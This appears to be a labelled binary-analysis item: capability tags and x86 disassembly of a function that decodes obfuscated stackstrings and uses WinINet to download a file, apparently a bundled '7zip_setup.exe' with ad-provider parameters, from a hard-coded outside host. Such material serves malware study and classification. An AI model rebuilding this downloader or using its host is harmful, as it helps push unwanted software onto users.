Function at 0x40c440
Capabilities:
Contain obfuscated stackstrings
Create http request
Read data from internet
Receive data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x473563
mov eax, dword fs:[0]
push eax
mov eax, 0x5020
call fcn.0044ac70
mov eax, dword [0x48f4f4]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x4ff4], ecx
mov dword [ebp - 4], 0
push 0x47fd9a
lea ecx, [ebp - 0x80]
call fcn.004014c0
mov byte [ebp - 4], 1
lea eax, [ebp + 8]
push eax
lea ecx, [ebp - 0x50]
call fcn.00401500
mov byte [ebp - 4], 2
mov dword [ebp - 0x8c], 0
mov dword [ebp - 0x5c], 0
mov dword [ebp - 0xa0], 0
mov dword [ebp - 0x88], 0
mov dword [ebp - 0x64], 0
mov dword [ebp - 0x9c], 0
mov dword [ebp - 0x30], 0
mov dword [ebp - 0x84], 0
mov dword [ebp - 0x54], 1
lea ecx, [ebp - 0x50]
call fcn.00403370
movzx ecx, al
test ecx, ecx
je 0x40c64d
mov byte [ebp - 0xc8], 0x22
mov byte [ebp - 0xc7], 0x33
mov byte [ebp - 0xc6], 0x38
mov byte [ebp - 0xc5], 0x1e
mov byte [ebp - 0xc4], 0x33
mov byte [ebp - 0xc3], 0x32
mov byte [ebp - 0xc2], 0x33
mov byte [ebp - 0xc1], 0x22
mov byte [ebp - 0xc0], 0x1e
mov byte [ebp - 0xbf], 0x34
mov byte [ebp - 0xbe], 0x33
mov byte [ebp - 0xbd], 0x2d
push 0xc
lea edx, [ebp - 0xc8]
push edx
lea eax, [ebp - 0x4f6c]
push eax
mov ecx, dword [ebp - 0x4ff4]
call fcn.0040ac50
mov dword [ebp - 0x4ff8], eax
mov ecx, dword [ebp - 0x4ff8]
mov dword [ebp - 0x4ffc], ecx
mov byte [ebp - 4], 3
mov ecx, dword [ebp - 0x4ffc]
call fcn.00403350
push eax
lea ecx, [ebp - 0xbc]
call fcn.004014c0
mov byte [ebp - 4], 5
lea ecx, [ebp - 0x4f6c]
call fcn.00401540
sub esp, 0x1c
mov edx, esp
mov dword [ebp - 0x4f70], esp
push edx
mov ecx, dword [ebp - 0x4ff4]
call fcn.0040cbb0
mov dword [ebp - 0x5000], eax
mov eax, dword [ebp - 0x5000]
mov dword [ebp - 0x5004], eax
mov byte [ebp - 4], 6
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x4f74], esp
push 0x47fd9b
call fcn.004014c0
mov dword [ebp - 0x5008], eax
mov ecx, dword [ebp - 0x5008]
mov dword [ebp - 0x500c], ecx
mov byte [ebp - 4], 7
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x4f78], esp
lea edx, [ebp - 0xbc]
push edx
call fcn.00401500
mov dword [ebp - 0x5010], eax
push 0
mov byte [ebp - 4], 5
mov eax, dword [ebp - 0x4ff4]
mov ecx, dword [eax]
call fcn.00402830
push str.http:__secure.oinstaller6.com_o_7zip_setup.exe_sf0subiddefaultadproviderdefault
lea ecx, [ebp - 0x50]
call fcn.0040cd00
mov byte [ebp - 4], 2
lea ecx, [ebp - 0xbc]
call fcn.00401540
cmp dword [ebp - 0x54], 0
jne 0x40c68f
mov dword [ebp - 0x4f7c], 0
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x50]
call fcn.00401540
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x80]
call fcn.00401540
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 8]
call fcn.00401540
mov eax, dword [ebp - 0x4f7c]
jmp 0x40cb8d
push 0
push 0
push 0
push 0
push 0x48200c
call dword [sym.imp.WININET.dll_InternetOpenA]
mov dword [ebp - 0x8c], eax
cmp dword [ebp - 0x8c], 0
jne 0x40c827
mov byte [ebp - 0xf0], 0x22
mov byte [ebp - 0xef], 0x33
mov byte [ebp - 0xee], 0x38
mov byte [ebp - 0xed], 0x1e
mov byte [ebp - 0xec], 0x28
mov byte [ebp - 0xeb], 0x2f
mov byte [ebp - 0xea], 0x24
mov byte [ebp - 0xe9], 0x35
mov byte [ebp - 0xe8], 0x1e
push 9
lea ecx, [ebp - 0xf0]
push ecx
lea edx, [ebp - 0x4f98]
push edx
mov ecx, dword [ebp - 0x4ff4]
call fcn.0040ac50
mov dword [ebp - 0x5014], eax
mov eax, dword [ebp - 0x5014]
mov dword [ebp - 0x5018], eax
mov byte [ebp - 4], 8
mov ecx, dword [ebp - 0x5018]
call fcn.00403350
push eax
lea ecx, [ebp - 0xe4]
call fcn.004014c0
mov byte [ebp - 4], 0xa
lea ecx, [ebp - 0x4f98]
call fcn.00401540
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x4f9c], esp
push ecx
mov ecx, dword [ebp - 0x4ff4]
call fcn.0040cbb0
mov dword [ebp - 0x501c], eax
mov edx, dword [ebp - 0x501c]
mov dword [ebp - 0x5020], edx
mov byte [ebp - 4], 0xb
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x4fa0], esp
push 0x47fdad
call fcn.004014c0
mov dword [ebp - 0x5024], eax
mov eax, dword [ebp - 0x5024]
mov dword [ebp - 0x5028], eax
mov byte [ebp - 4], 0xc
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x4fa4], esp
push 0x482020
lea edx, [ebp - 0xe4]
push edx
push ecx
call fcn.004112a0
add esp, 0xc
mov dword [ebp - 0x502c], eax
push 0
mov byte [ebp - 4], 0xa
mov eax, dword [ebp - 0x4ff4]
mov ecx, dword [eax]
call fcn.00402830
mov dword [ebp - 0x4fa8], 0
mov byte [ebp - 4], 2
lea ecx, [ebp - 0xe4]
call fcn.00401540
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x50]
call fcn.00401540
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x80]
call fcn.00401540
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 8]
call fcn.00401540
mov eax, dword [ebp - 0x4fa8]
jmp 0x40cb8d
push 4
lea ecx, [ebp - 0x34]
push ecx
push 0x41
mov edx, dword [ebp - 0x8c]
push edx
call dword [sym.imp.WININET.dll_InternetSetOptionA]
mov dword [ebp - 0x94], eax
mov dword [ebp - 0x90], 0x1d4c0
mov dword [ebp - 0x98], 0x1d4c0
push 4
lea eax, [ebp - 0x90]
push eax
push 6
mov ecx, dword [ebp - 0x8c]
push ecx
call dword [sym.imp.WININET.dll_InternetSetOptionA]
push 4
lea edx, [ebp - 0x90]
push edx
push 5
mov eax, dword [ebp - 0x8c]
push eax
call dword [sym.imp.WININET.dll_InternetSetOptionA]
push 4
lea ecx, [ebp - 0x90]
push ecx
push 2
mov edx, dword [ebp - 0x8c]
push edx
call dword [sym.imp.WININET.dll_InternetSetOptionA]
push 0x20
lea ecx, [ebp - 0x50]
call fcn.00408330
push eax
lea ecx, [ebp - 0x2c]
call fcn.00403250
mov byte [ebp - 4], 0xd
lea eax, [ebp - 0x4fb0]
push eax
lea ecx, [ebp - 0x2c]
call fcn.004032f0
mov ecx, dword [eax + 4]
push ecx
mov edx, dword [eax]
push edx
lea eax, [ebp - 0x4fb8]
push eax
lea ecx, [ebp - 0x50]
call fcn.00403320
mov ecx, dword [eax + 4]
push ecx
mov edx, dword [eax]
push edx
lea eax, [ebp - 0x4fc0]
push eax
lea ecx, [ebp - 0x50]
call fcn.004032f0
mov ecx, dword [eax + 4]
push ecx
mov edx, dword [eax]
push edx
lea eax, [ebp - 0x4fc8]
push eax
call fcn.00404a80
add esp, 0x1c
lea ecx, [ebp - 0x2c]
call fcn.00403350
mov dword [ebp - 0x60], eax
cmp dword [ebp - 0x94], 0
jne 0x40c94b
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x2ee9
jne 0x40c94b
push 0
push 0x80000100
push 0
push 0
mov ecx, dword [ebp - 0x60]
push ecx
mov edx, dword [ebp - 0x8c]
push edx
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov dword [ebp - 0x5c], eax
jmp 0x40ca21
push str.Accept_Encoding:_gzip
lea ecx, [ebp - 0x128]
call fcn.004014c0
mov byte [ebp - 4], 0xe
push 0x20
lea ecx, [ebp - 0x128]
call fcn.00408330
push eax
lea ecx, [ebp - 0x10c]
call fcn.00403250
lea eax, [ebp - 0x4fd0]
push eax
lea ecx, [ebp - 0x10c]
call fcn.004032f0
mov ecx, dword [eax + 4]
push ecx
mov edx, dword [eax]
push edx
lea eax, [ebp - 0x4fd8]
push eax
lea ecx, [ebp - 0x128]
call fcn.00403320
mov ecx, dword [eax + 4]
push ecx
mov edx, dword [eax]
push edx
lea eax, [ebp - 0x4fe0]
push eax
lea ecx, [ebp - 0x128]
call fcn.004032f0
mov ecx, dword [eax + 4]
push ecx
mov edx, dword [eax]
push edx
lea eax, [ebp - 0x4fe8]
push eax
call fcn.00404a80
add esp, 0x1c
lea ecx, [ebp - 0x10c]
call fcn.00403350
mov dword [ebp - 0x12c], eax
push 0
push 0x80000100
push 0xffffffffffffffff
mov ecx, dword [ebp - 0x12c]
push ecx
mov edx, dword [ebp - 0x60]
push edx
mov eax, dword [ebp - 0x8c]
push eax
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov dword [ebp - 0x5c], eax
lea ecx, [ebp - 0x10c]
call fcn.00401540
mov byte [ebp - 4], 0xd
lea ecx, [ebp - 0x128]
call fcn.00401540
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 0x58], eax
cmp dword [ebp - 0x58], 0
je 0x40ca7d
mov dword [ebp - 0x4fec], 0
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x2c]
call fcn.00401540
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x50]
call fcn.00401540
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x80]
call fcn.00401540
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 8]
call fcn.00401540
mov eax, dword [ebp - 0x4fec]
jmp 0x40cb8d
push 0x4e20
call fcn.004475b2
add esp, 4
mov dword [ebp - 0x88], eax
mov byte [ebp - 0x4f4d], 1
lea ecx, [ebp - 0x9c]
push ecx
push 0x4e20
lea edx, [ebp - 0x4f4c]
push edx
mov eax, dword [ebp - 0x5c]
push eax
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
setne cl
mov byte [ebp - 0x4f4d], cl
movzx edx, byte [ebp - 0x4f4d]
test edx, edx
jne 0x40cacc
jmp 0x40cb31
cmp dword [ebp - 0x9c], 0
ja 0x40cad9
jmp 0x40cb31
mov eax, dword [ebp - 0x64]
add eax, dword [ebp - 0x9c]
push eax
mov ecx, dword [ebp - 0x88]
push ecx
call fcn.00447766
add esp, 8
mov dword [ebp - 0x88], eax
mov edx, dword [ebp - 0x9c]
push edx
lea eax, [ebp - 0x4f4c]
push eax
mov ecx, dword [ebp - 0x88]
add ecx, dword [ebp - 0x64]
push ecx
call fcn.00446f10
add esp, 0xc
mov edx, dword [ebp - 0x64]
add edx, dword [ebp - 0x9c]
mov dword [ebp - 0x64], edx
mov eax, 1
test eax, eax
jne 0x40ca97
mov ecx, dword [ebp - 0x5c]
push ecx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov edx, dword [ebp - 0x8c]
push edx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov eax, dword [ebp - 0x88]
mov dword [ebp - 0x4ff0], eax
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x2c]
call fcn.00401540
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x50]
call fcn.00401540
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x80]
call fcn.00401540
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 8]
call fcn.00401540
mov eax, dword [ebp - 0x4ff0]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00443a0f
mov esp, ebp
pop ebp
ret 0x1c